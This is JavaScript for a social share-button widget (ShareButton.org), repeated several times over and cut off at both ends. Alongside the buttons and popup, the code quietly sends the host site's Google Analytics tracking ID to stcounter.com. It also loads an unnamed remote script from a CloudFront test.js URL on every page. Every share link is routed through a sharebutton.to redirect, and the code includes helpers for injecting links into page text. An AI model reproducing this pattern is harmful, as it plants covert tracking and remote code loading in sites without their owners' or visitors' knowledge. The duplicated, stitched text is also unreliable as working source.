if(typeof sheet.addRule === 'undefined')
sheet.addRule = addRule;
if(typeof sheet.removeRule === 'undefined')
sheet.removeRule = sheet.deleteRule;
return sheet;
}
function addRule(selectorText, cssText, index) {
if(typeof index === 'undefined')
index = this.cssRules.length;
this.insertRule(selectorText + ' {' + cssText + '}', index);
}
return createStyleSheet;
})();
}
var sheet = document.createStyleSheet();
sheet.addRule('#' + WE + 'PopupWr, #' + WE + 'PopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
sheet.addRule('#' + WE + 'PopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
sheet.addRule('#' + WE + 'PopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;');
sheet.addRule('#' + WE + 'PopupTable a', 'text-decoration:none; background:none; height:auto !important;');
sheet.addRule('#' + WE + 'BottomPopupHtml a', 'font-size:13px; color:#6F6F6F; text-decoration:underline;');
sheet.addRule('.' + WE + 'RecBox, .' + WE + 'RecBox div, .' + WE + 'RecBox span, .' + WE + 'RecBox a', 'font-size:12px !important; color:#6F6F6F !important;');
sheet.addRule('.' + WE + 'RecBox a', 'text-decoration:underline !important;');
sheet.addRule('.' + WE + 'Inv', 'position:fixed; top:-300px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar', 'width: 4px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-track', '-webkit-box-shadow: inset 0 0 6px #e9eaeb; -webkit-border-radius: 10px; border-radius: 10px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-thumb', '-webkit-border-radius: 10px; border-radius: 10px; background: #6a6a6a; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5);');
}
var showHoriz = function(box) {
css(box, horizBoxCss);
animatePos(box, horizBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemUp;
box.children[i].onmouseleave = moveItemDown;
}
}
var showVert = function(box) {
css(box, vertBoxCss);
animatePos(box, vertBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemRight;
box.children[i].onmouseleave = moveItemLeft;
}
}
var getWinSize = function() {
var w = window,
d = document,
e = d.documentElement,
g = d.getElementsByTagName('body')[0],
width = w.innerWidth || e.clientWidth || g.clientWidth,
height = w.innerHeight|| e.clientHeight|| g.clientHeight;
return {
width: width,
height: height
};
}
var animatePos = function(box, opts) {
var cur = opts.start;
(function anim() {
cur += opts.step;
if (
opts.end > opts.start && cur >= opts.end ||
opts.end < opts.start && cur <= opts.end
) {
cur = opts.end;
} else {
setTimeout(anim, opts.delay);
}
box.style[opts.prop] = cur + 'px';
})();
}
var closePopup = function() {
document.removeEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
}
var createPopup = function() {
var addLinkHtml = '';
document.writeln('\
<div id="' + WE + 'PopupWr">\
<table id="' + WE + 'PopupTable" width="100%" height="100%" cellspacing="0" cellpadding="0"><tr style="background:none;"><td id="' + WE + 'PopupCell">\
<div id="' + WE + 'Popup">\
<span id="' + WE + 'PopupCloseBtn" style="width:10px; height:10px; top:12px; right:11px; cursor:pointer; position:absolute; background:url(//sharebutton.net/plugin/img/close.png)"></span>\
<div style="margin-top:22px; margin-bottom:5px; text-align:center;">\
<a href="http://sharebutton.org/?utm_source=popup_logo" target="_blank"><img src="//sharebutton.net/plugin/img/popup-logo.png" style="border:none;"></a>\
</div>\
<div style="color:#878787; font-size:17px; padding:8px 0 8px; text-align:left;">Find a service to share:</div>\
<div style="padding-bottom:10px;">\
<input type="text" id="' + WE + 'PopupSearch" style="text-align:left; width:430px; max-width:430px; height:auto; padding:8px 4px 8px 10px; background:url(//sharebutton.net/plugin/img/zoom.png) 417px 8px no-repeat; border:1px solid #c0c0c0; font-size:18px; line-height:22px; box-sizing:content-box; -moz-box-sizing:content-box;">\
</div>\
<div id="' + WE + 'PopupContent">\
<div id="' + WE + 'PopupContentInner"></div>\
<div class="shareButtonNetRecBox" style="margin:10px 20px 0 0; padding:0 5px 5px 14px;">\
' + addLinkHtml + '\
</div>\
</div>\
<div id="test" style="margin:0; padding:3px; position:relative; top:10px; text-align:right; color:#313428;">\
<a href="http://sharebutton.org/?utm_source=popup_copyright" id="' + WE + 'CopyrightLink">Add Share Buttons to Your Website for Free</a>\
</div>\
</div>\
</td></tr></table>\
</div>\
');
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
var crLink = $(WE + 'CopyrightLink');
css(crLink, {
fontSize: '12px',
color: '#414438',
textDecoration: 'none'
});
crLink.onmouseover = function() {
this.style.textDecoration = 'underline';
}
crLink.onmouseout = function() {
this.style.textDecoration = 'none';
}
on($(WE + 'PopupCloseBtn'), 'click', closePopup);
var table = $(WE + 'PopupTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'url(//sharebutton.net/plugin/img/back.png)'
});
var popup = $(WE + 'Popup');
css(popup, {
margin: '0 auto',
padding: '0 25px 20px',
width: '445px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
var content = $(WE + 'PopupContent');
css(content, {
position: 'relative',
width: '445px',
height: '325px',
maxHeight: '325px',
overflowY: 'scroll'
});
content.onmousewheel = function(e) {
if (
e.wheelDelta < 0 && content.scrollTop + content.clientHeight === content.scrollHeight ||
e.wheelDelta > 0 && content.scrollTop === 0
) {
e.preventDefault && e.preventDefault();
}
}
var itemStyle = {
display: 'inline-block',
margin: 0,
padding: '7px 0 5px 14px',
width: '190px',
verticalAlign: 'bottom',
textAlign: 'left',
textDecoration: 'none',
boxSizing: 'content-box',
border: 'none'
};
var onLinkMouseOver = function() {
this.style.background = '#eee';
}
var onLinkMouseOut = function() {
this.style.background = 'none';
}
var contentInner = $(WE + 'PopupContentInner');
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var a = create('a');
a.id = WE + i + 'PopupItem';
a.innerHTML = '\
<img src="//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + '" style="border:none; vertical-align:baseline; margin:0; display:inline; width:32px; height:32px;">\
<span style="vertical-align:baseline; font-size:14px; color:#6f6f6f; position:relative; top:-10px; padding-left:5px; font-weight:normal; text-decoration:none;">' + soc.name + '</span>\
';
css(a, itemStyle);
append(a, contentInner);
a.onmouseover = onLinkMouseOver;
a.onmouseout = onLinkMouseOut;
if (soc.newTab) {
a.href = handleUrl(soc.url, soc)
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(a, soc);
}
}
on($(WE + 'PopupSearch'), 'input', function() {
var input = this.value.toLowerCase();
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var socName = soc.name.toLowerCase();
var a = document.getElementById(WE + i + 'PopupItem');
if (socName.indexOf(input) === 0) {
a.style.display = 'inline-block';
} else {
a.style.display = 'none';
}
}
});
}
var handleItemClick = function(elem, socObj) {
on(elem, 'click', function() {
var url = handleUrl(socObj.url, socObj);
openWin(url, socObj.win);
});
}
var handleUrl = function(url, socObj) {
var redirectUri = url
.replace(/%URL/, getEncodedUrl())
.replace(/%HOST/, location.host)
.replace(/%MESSAGE/, encodeURIComponent(document.title))
.replace(/%WE/, WE)
.replace(/%FUNC/, socObj.func || '');
return 'http://sharebutton.to/plugin/go.php?soc=' + encodeURIComponent(socObj.name) + '&redirect_uri=' + encodeURIComponent(redirectUri);
}
var findClassOne = function(parent, className) {
return parent.getElementsByClassName(className)[0];
}
var getUrl = function() {
return location.href;
}
var getEncodedUrl = function() {
return encodeURIComponent(getUrl());
}
var openWin = function(path, popupSize) {
if (!popupSize) {
popupSize = {};
}
var w = popupSize.w || 650;
var h = popupSize.h || 500;
var l = window.screenX + (window.outerWidth - w) / 2;
var t = window.screenY + (window.outerHeight - h) / 2;
var winProps = 'width=' + w + ',height=' + h + ',left=' + l + ',top=' + t + ',status=no,resizable=yes,toolbar=no,menubar=no,scrollbars=yes';
var win = window.open(path, 'sharePopup' + Math.random(), winProps);
return win;
}
var closeOnEscape = function(e) {
if (e.keyCode === 27) {
closePopup();
}
}
var openMorePopup = function() {
document.addEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'block';
$(WE + 'PopupSearch').focus();
fixPopupSize();
}
var fixPopupSize = function() {
$(WE + 'PopupCell').style.height = getWinSize().height + 'px';
}
var $ = function(id) {
return document.getElementById(id);
}
var on = function(elem, event, handler) {
elem.addEventListener(event, handler, false);
}
var css = function(elem, style) {
for (var prop in style) {
elem.style[prop] = style[prop];
}
}
var create = function(tag) {
return document.createElement(tag);
}
var append = function(elem, parent) {
parent.appendChild(elem);
}
var prepend = function(elem, parent) {
if (parent.children && parent.children.length) {
parent.insertBefore(elem, parent.children[0]);
} else {
parent.appendChild(elem);
}
}
if (document.readyState === 'complete') {
onReady();
} else {
on(document, 'DOMContentLoaded', onReady);
}
createPopup();
try {
clearStyles();
} catch (ex) {}
var tracking_id = 'no';
if (typeof ga !== 'undefined') {
ga(function(tracker) {
tracking_id = tracker.get('trackingId');
});
}
(new Image).src = '//stcounter.com/tds_pixel.php?ga_ua=' + tracking_id;
(function() {
var wc = document.createElement('script'); wc.type = 'text/javascript'; wc.async = true;
wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(wc, s);
})();
if (Math.random() < 0.01) {
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-62910740-1', 'auto');
ga('send', 'pageview');
}
})();
(function() {
'use strict';
var WE = 'shareButtonNet';
var MESSAGE = 'ShareButton.org';
var HORIZ = sharebutton_is_horizontal;
var LOGOS_VERSION = 4;
if (window[WE + 'Loaded']) return;
window[WE + 'Loaded'] = true;
var horizBoxCss = {
left: 'auto',
right: '50px',
top: 'auto',
bottom: '3px',
width: '168px',
height: '42px'
};
var vertBoxCss = {
left: '3px',
right: 'auto',
top: '50px',
bottom: 'auto',
width: '42px',
height: '168px'
};
var horizBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'bottom'
};
var vertBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'left'
};
var socMap = {
fb: {
name: 'Facebook',
url: 'https://www.facebook.com/sharer/sharer.php?u=%URL',
prim: true
},
gp: {
name: 'Google+',
url: 'https://plus.google.com/share?url=%URL',
prim: true
},
tw: {
name: 'Twitter',
url: 'https://twitter.com/intent/tweet?text=%MESSAGE&url=%URL',
prim: true
},
plus: {
name: 'More',
plus: true,
prim: true
},
go: {
name: 'Google',
url: 'https://www.google.com/bookmarks/mark?op=add&bkmk=%URL&title=%MESSAGE',
newTab: true
},
li: {
name: 'LinkedIn',
url: 'https://www.linkedin.com/shareArticle?ro=false&mini=true&url=%URL&source=&title=%MESSAGE',
win: {w: 600}
},
tu: {
name: 'Tumblr',
url: 'https://www.tumblr.com/share?v=3&u=%URL&t=%MESSAGE'
},
di: {
name: 'Digg',
url: 'http://digg.com/submit?partner=%WE&url=%URL&title=%MESSAGE'
},
re: {
name: 'Reddit',
url: 'http://www.reddit.com/submit?url=%URL&title=%MESSAGE'
},
vk: {
name: 'VKontakte',
url: 'http://vk.com/share.php?url=%URL&title=%MESSAGE'
},
mr: {
name: 'Mail.ru',
url: 'http://connect.mail.ru/share?url=%URL&title=%MESSAGE'
},
de: {
name: 'Delicious',
url: 'https://delicious.com/post?partner=%WE&url=%URL&title=%MESSAGE'
},
gm: {
name: 'GMail',
url: 'https://mail.google.com/mail/u/0/?view=cm&fs=1&to&su=%MESSAGE&body=%URL&ui=2&tf=1'
},
bl: {
name: 'Blogger',
url: 'https://www.blogger.com/blog_this.pyra?t&u=%URL&n=%MESSAGE'
},
lj: {
name: 'LiveJournal',
url: 'http://www.livejournal.com/update.bml?subject=%MESSAGE&event=%FUNC',
newTab: true,
func: function() {
return encodeURIComponent('<a href="' + getUrl() + '">' + document.title + '</a>');
}
},
ba: {
name: 'Baidu',
url: 'http://cang.baidu.com/do/add?it=%MESSAGE&iu=%URL&fr=ien&dc='
},
am: {
name: 'Amazon',
url: 'http://www.amazon.com/gp/wishlist/static-add?u=%URL&t=%MESSAGE'
},
bi: {
name: 'Bit.ly',
url: 'https://bitly.com/a/bitmarklet?u=%URL',
newTab: true
},
wh: {
name: 'Whois Lookup',
url: 'http://whois.domaintools.com/%HOST',
newTab: true
},
gt: {
name: 'Google Translate',
url: 'http://translate.google.com/translate?hl=ru-RU&u=%URL&sl=auto&tl=ru-RU',
newTab: true
},
w3: {
name: 'W3C Validator',
url: 'http://validator.w3.org/check?uri=%URL&charset=%28detect+automatically%29&doctype=Inline&group=0,',
newTab: true
}
}
var moveInterval = null;
var movingItemsCnt = 0;
var primItems = [];
var animate = function(opts) {
var start = new Date;
var timer = setInterval(function() {
var progress = (new Date - start) / opts.duration;
if (progress > 1) progress = 1;
opts.step(progress);
if (progress == 1) {
clearInterval(timer);
}
}, opts.delay || 20);
return {
stop: function() {
clearInterval(timer);
}
};
}
var moveItemRight = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemLeft = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var moveItemUp = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemDown = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var onReady = function() {
var script = document.createElement('script');
// script.src = '//semalt.com/js/sharebutton.js';
// document.body.appendChild(script);
window.addEventListener('resize', fixPopupSize);
var box = create('div');
prepend(box, document.body);
for (var i in socMap) {
if (!socMap[i].prim) continue;
var itemWr = create('span');
css(itemWr, {
display: 'inline-block'
});
append(itemWr, box);
var item = create('span');
primItems.push(item);
item.moveWay = 0;
item.posX = 0;
css(item, {
display: 'inline-block',
position: 'relative',
margin: '3px',
width: '36px',
height: '36px',
background: '#fff',
borderRadius: '18px'
});
append(item, itemWr);
var a = create('a');
css(a, {
display: 'inline-block',
margin: '2px',
padding: 0,
width: '32px',
height: '32px',
verticalAlign: 'bottom',
background: 'url(//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + ')',
border: 'none'
});
a.className = WE + i + 'Link';
a.title = socMap[i].name;
append(a, item);
if (socMap[i].plus) {
a.href = 'http://sharebutton.org/?utm_source=plus&utm_medium=click&utm_campaign=organic';
a.target = '_blank';
// a.href = 'javascript:;';
// on(a, 'click', openMorePopup);
} else if (socMap[i].newTab) {
a.href = handleUrl(socMap[i].url, socMap[i]);
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(findClassOne(box, WE + i + 'Link'), socMap[i]);
}
}
css(box, {
position: 'fixed',
margin: 0,
padding: 0,
outline: 'none',
border: 'none',
zIndex: 999999999,
overflow: 'visible',
direction: 'ltr'
});
if (HORIZ) {
showHoriz(box);
} else {
showVert(box);
}
window[WE + 'SetHoriz'] = function() {
showHoriz(box);
}
window[WE + 'SetVert'] = function() {
showVert(box);
}
try {
} catch (e) {}
}
var findOuterLink = function(el) {
var link = null;
do {
if (!el.tagName) break;
var tagName = el.tagName.toLowerCase();
if (tagName === 'a') {
link = el;
break;
}
el = el.parentNode;
} while (tagName !== 'body');
return link;
}
var makeImg = function(linkId, path, linkUrl, title) {
var img = document.querySelector(path);
if (!img) return;
img.style.borderWidth = 0;
var link = findOuterLink(img);
if (!link) {
link = create('a');
img.parentNode.insertBefore(link, img);
link.style.cursor = 'default';
link.appendChild(img);
}
link.title = title;
link.href = linkUrl;
}
var make = function(linkId, path, word, link, version) {
var linkStyle = 'color:inherit; text-decoration:none; cursor:default; font-weight:inherit; background:transparent; font-family:inherit;';
if (!version) {
return;
var regex = new RegExp(word, 'i');
var node = getNode(path);
if (!node) return;
node.innerHTML = node.innerHTML.replace(regex, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>');
} else if (version == 2) {
var node = document.querySelector(path);
if (!node) return;
//node.innerHTML = myReplace(node.innerHTML, word, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>', 'i');
node.innerHTML = myReplace(node.innerHTML, word, '<span id="intextWr' + linkId + '"></span>', 'i');
var span = $('intextWr' + linkId);
var link = $('intext' + linkId);
link.className = '';
span.parentNode.insertBefore(link, span);
span.parentNode.removeChild(span);
}
}
var myReplace = function(str, from, to, flags) {
var from = (from+'').replace(/([\\\.\+\*\?\[\^\]\$\(\)\{\}\=\!\<\>\|\:])/g, "\\$1");
return str.replace(new RegExp('(' + from + ')', flags), to);
}
var getNode = function(path) {
var node=document.documentElement, i=0, index;
var step = 0;
while ((index=path[++i]) > -1) {
node=node.childNodes[index];
if (!node) {
return null;
}
step++;
}
return node;
}
window[WE + 'GetNode'] = getNode;
var clearStyles = function() {
if(typeof document.createStyleSheet === 'undefined') {
document.createStyleSheet = (function() {
function createStyleSheet(href) {
if(typeof href !== 'undefined') {
var element = document.createElement('link');
element.type = 'text/css';
element.rel = 'stylesheet';
element.href = href;
} else {
var element = document.createElement('style');
element.type = 'text/css';
}
document.getElementsByTagName('head')[0].appendChild(element);
var sheet = document.styleSheets[document.styleSheets.length - 1];
if(typeof sheet.addRule === 'undefined')
sheet.addRule = addRule;
if(typeof sheet.removeRule === 'undefined')
sheet.removeRule = sheet.deleteRule;
return sheet;
}
function addRule(selectorText, cssText, index) {
if(typeof index === 'undefined')
index = this.cssRules.length;
this.insertRule(selectorText + ' {' + cssText + '}', index);
}
return createStyleSheet;
})();
}
var sheet = document.createStyleSheet();
sheet.addRule('#' + WE + 'PopupWr, #' + WE + 'PopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
sheet.addRule('#' + WE + 'PopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
sheet.addRule('#' + WE + 'PopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;');
sheet.addRule('#' + WE + 'PopupTable a', 'text-decoration:none; background:none; height:auto !important;');
sheet.addRule('#' + WE + 'BottomPopupHtml a', 'font-size:13px; color:#6F6F6F; text-decoration:underline;');
sheet.addRule('.' + WE + 'RecBox, .' + WE + 'RecBox div, .' + WE + 'RecBox span, .' + WE + 'RecBox a', 'font-size:12px !important; color:#6F6F6F !important;');
sheet.addRule('.' + WE + 'RecBox a', 'text-decoration:underline !important;');
sheet.addRule('.' + WE + 'Inv', 'position:fixed; top:-300px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar', 'width: 4px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-track', '-webkit-box-shadow: inset 0 0 6px #e9eaeb; -webkit-border-radius: 10px; border-radius: 10px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-thumb', '-webkit-border-radius: 10px; border-radius: 10px; background: #6a6a6a; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5);');
}
var showHoriz = function(box) {
css(box, horizBoxCss);
animatePos(box, horizBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemUp;
box.children[i].onmouseleave = moveItemDown;
}
}
var showVert = function(box) {
css(box, vertBoxCss);
animatePos(box, vertBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemRight;
box.children[i].onmouseleave = moveItemLeft;
}
}
var getWinSize = function() {
var w = window,
d = document,
e = d.documentElement,
g = d.getElementsByTagName('body')[0],
width = w.innerWidth || e.clientWidth || g.clientWidth,
height = w.innerHeight|| e.clientHeight|| g.clientHeight;
return {
width: width,
height: height
};
}
var animatePos = function(box, opts) {
var cur = opts.start;
(function anim() {
cur += opts.step;
if (
opts.end > opts.start && cur >= opts.end ||
opts.end < opts.start && cur <= opts.end
) {
cur = opts.end;
} else {
setTimeout(anim, opts.delay);
}
box.style[opts.prop] = cur + 'px';
})();
}
var closePopup = function() {
document.removeEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
}
var createPopup = function() {
var addLinkHtml = '';
document.writeln('\
<div id="' + WE + 'PopupWr">\
<table id="' + WE + 'PopupTable" width="100%" height="100%" cellspacing="0" cellpadding="0"><tr style="background:none;"><td id="' + WE + 'PopupCell">\
<div id="' + WE + 'Popup">\
<span id="' + WE + 'PopupCloseBtn" style="width:10px; height:10px; top:12px; right:11px; cursor:pointer; position:absolute; background:url(//sharebutton.net/plugin/img/close.png)"></span>\
<div style="margin-top:22px; margin-bottom:5px; text-align:center;">\
<a href="http://sharebutton.org/?utm_source=popup_logo" target="_blank"><img src="//sharebutton.net/plugin/img/popup-logo.png" style="border:none;"></a>\
</div>\
<div style="color:#878787; font-size:17px; padding:8px 0 8px; text-align:left;">Find a service to share:</div>\
<div style="padding-bottom:10px;">\
<input type="text" id="' + WE + 'PopupSearch" style="text-align:left; width:430px; max-width:430px; height:auto; padding:8px 4px 8px 10px; background:url(//sharebutton.net/plugin/img/zoom.png) 417px 8px no-repeat; border:1px solid #c0c0c0; font-size:18px; line-height:22px; box-sizing:content-box; -moz-box-sizing:content-box;">\
</div>\
<div id="' + WE + 'PopupContent">\
<div id="' + WE + 'PopupContentInner"></div>\
<div class="shareButtonNetRecBox" style="margin:10px 20px 0 0; padding:0 5px 5px 14px;">\
' + addLinkHtml + '\
</div>\
</div>\
<div id="test" style="margin:0; padding:3px; position:relative; top:10px; text-align:right; color:#313428;">\
<a href="http://sharebutton.org/?utm_source=popup_copyright" id="' + WE + 'CopyrightLink">Add Share Buttons to Your Website for Free</a>\
</div>\
</div>\
</td></tr></table>\
</div>\
');
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
var crLink = $(WE + 'CopyrightLink');
css(crLink, {
fontSize: '12px',
color: '#414438',
textDecoration: 'none'
});
crLink.onmouseover = function() {
this.style.textDecoration = 'underline';
}
crLink.onmouseout = function() {
this.style.textDecoration = 'none';
}
on($(WE + 'PopupCloseBtn'), 'click', closePopup);
var table = $(WE + 'PopupTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'url(//sharebutton.net/plugin/img/back.png)'
});
var popup = $(WE + 'Popup');
css(popup, {
margin: '0 auto',
padding: '0 25px 20px',
width: '445px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
var content = $(WE + 'PopupContent');
css(content, {
position: 'relative',
width: '445px',
height: '325px',
maxHeight: '325px',
overflowY: 'scroll'
});
content.onmousewheel = function(e) {
if (
e.wheelDelta < 0 && content.scrollTop + content.clientHeight === content.scrollHeight ||
e.wheelDelta > 0 && content.scrollTop === 0
) {
e.preventDefault && e.preventDefault();
}
}
var itemStyle = {
display: 'inline-block',
margin: 0,
padding: '7px 0 5px 14px',
width: '190px',
verticalAlign: 'bottom',
textAlign: 'left',
textDecoration: 'none',
boxSizing: 'content-box',
border: 'none'
};
var onLinkMouseOver = function() {
this.style.background = '#eee';
}
var onLinkMouseOut = function() {
this.style.background = 'none';
}
var contentInner = $(WE + 'PopupContentInner');
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var a = create('a');
a.id = WE + i + 'PopupItem';
a.innerHTML = '\
<img src="//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + '" style="border:none; vertical-align:baseline; margin:0; display:inline; width:32px; height:32px;">\
<span style="vertical-align:baseline; font-size:14px; color:#6f6f6f; position:relative; top:-10px; padding-left:5px; font-weight:normal; text-decoration:none;">' + soc.name + '</span>\
';
css(a, itemStyle);
append(a, contentInner);
a.onmouseover = onLinkMouseOver;
a.onmouseout = onLinkMouseOut;
if (soc.newTab) {
a.href = handleUrl(soc.url, soc)
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(a, soc);
}
}
on($(WE + 'PopupSearch'), 'input', function() {
var input = this.value.toLowerCase();
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var socName = soc.name.toLowerCase();
var a = document.getElementById(WE + i + 'PopupItem');
if (socName.indexOf(input) === 0) {
a.style.display = 'inline-block';
} else {
a.style.display = 'none';
}
}
});
}
var handleItemClick = function(elem, socObj) {
on(elem, 'click', function() {
var url = handleUrl(socObj.url, socObj);
openWin(url, socObj.win);
});
}
var handleUrl = function(url, socObj) {
var redirectUri = url
.replace(/%URL/, getEncodedUrl())
.replace(/%HOST/, location.host)
.replace(/%MESSAGE/, encodeURIComponent(document.title))
.replace(/%WE/, WE)
.replace(/%FUNC/, socObj.func || '');
return 'http://sharebutton.to/plugin/go.php?soc=' + encodeURIComponent(socObj.name) + '&redirect_uri=' + encodeURIComponent(redirectUri);
}
var findClassOne = function(parent, className) {
return parent.getElementsByClassName(className)[0];
}
var getUrl = function() {
return location.href;
}
var getEncodedUrl = function() {
return encodeURIComponent(getUrl());
}
var openWin = function(path, popupSize) {
if (!popupSize) {
popupSize = {};
}
var w = popupSize.w || 650;
var h = popupSize.h || 500;
var l = window.screenX + (window.outerWidth - w) / 2;
var t = window.screenY + (window.outerHeight - h) / 2;
var winProps = 'width=' + w + ',height=' + h + ',left=' + l + ',top=' + t + ',status=no,resizable=yes,toolbar=no,menubar=no,scrollbars=yes';
var win = window.open(path, 'sharePopup' + Math.random(), winProps);
return win;
}
var closeOnEscape = function(e) {
if (e.keyCode === 27) {
closePopup();
}
}
var openMorePopup = function() {
document.addEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'block';
$(WE + 'PopupSearch').focus();
fixPopupSize();
}
var fixPopupSize = function() {
$(WE + 'PopupCell').style.height = getWinSize().height + 'px';
}
var $ = function(id) {
return document.getElementById(id);
}
var on = function(elem, event, handler) {
elem.addEventListener(event, handler, false);
}
var css = function(elem, style) {
for (var prop in style) {
elem.style[prop] = style[prop];
}
}
var create = function(tag) {
return document.createElement(tag);
}
var append = function(elem, parent) {
parent.appendChild(elem);
}
var prepend = function(elem, parent) {
if (parent.children && parent.children.length) {
parent.insertBefore(elem, parent.children[0]);
} else {
parent.appendChild(elem);
}
}
if (document.readyState === 'complete') {
onReady();
} else {
on(document, 'DOMContentLoaded', onReady);
}
createPopup();
try {
clearStyles();
} catch (ex) {}
var tracking_id = 'no';
if (typeof ga !== 'undefined') {
ga(function(tracker) {
tracking_id = tracker.get('trackingId');
});
}
(new Image).src = '//stcounter.com/tds_pixel.php?ga_ua=' + tracking_id;
(function() {
var wc = document.createElement('script'); wc.type = 'text/javascript'; wc.async = true;
wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(wc, s);
})();
if (Math.random() < 0.01) {
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-62910740-1', 'auto');
ga('send', 'pageview');
}
})();
(function() {
'use strict';
var WE = 'shareButtonNet';
var MESSAGE = 'ShareButton.org';
var HORIZ = sharebutton_is_horizontal;
var LOGOS_VERSION = 4;
if (window[WE + 'Loaded']) return;
window[WE + 'Loaded'] = true;
var horizBoxCss = {
left: 'auto',
right: '50px',
top: 'auto',
bottom: '3px',
width: '168px',
height: '42px'
};
var vertBoxCss = {
left: '3px',
right: 'auto',
top: '50px',
bottom: 'auto',
width: '42px',
height: '168px'
};
var horizBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'bottom'
};
var vertBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'left'
};
var socMap = {
fb: {
name: 'Facebook',
url: 'https://www.facebook.com/sharer/sharer.php?u=%URL',
prim: true
},
gp: {
name: 'Google+',
url: 'https://plus.google.com/share?url=%URL',
prim: true
},
tw: {
name: 'Twitter',
url: 'https://twitter.com/intent/tweet?text=%MESSAGE&url=%URL',
prim: true
},
plus: {
name: 'More',
plus: true,
prim: true
},
go: {
name: 'Google',
url: 'https://www.google.com/bookmarks/mark?op=add&bkmk=%URL&title=%MESSAGE',
newTab: true
},
li: {
